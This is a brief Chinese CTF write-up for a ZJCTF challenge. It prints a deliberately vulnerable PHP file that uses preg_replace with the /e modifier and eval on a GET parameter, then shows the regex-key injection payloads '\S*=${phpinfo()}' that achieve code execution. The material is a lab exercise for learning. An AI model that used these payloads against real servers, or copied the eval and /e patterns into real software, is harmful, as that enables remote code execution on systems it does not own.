ZJCTF,不过如此
前面两个考察的是PHP两个伪协议,比较简单,然后获得next.php源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
关于这个绕过,安全客有详细的文章,代码大体相同
preg_replace()函数主要结构如下
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
匹配
subject
对象的参数pattern
,将其用replacement
替换。而
/e
修正符使 preg_replace()
将 replacement
参数当作 PHP
代码。再看下题目中这段代码
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
这段代码将键名键值分别代入,如果我们传入变量
.*={${phpinfo();}}
,代入替换,有:return preg_replace((.*),'strtolower("\\1")',{${phpinfo();}})
匹配后成功执行
phpinfo();
然而PHP对传入的$_GET非法参数变量名,会将.转化为_替代。
所以将通配符换成另一种形式的通配符即可。
\S*=${phpinfo()}
Last modified 8mo ago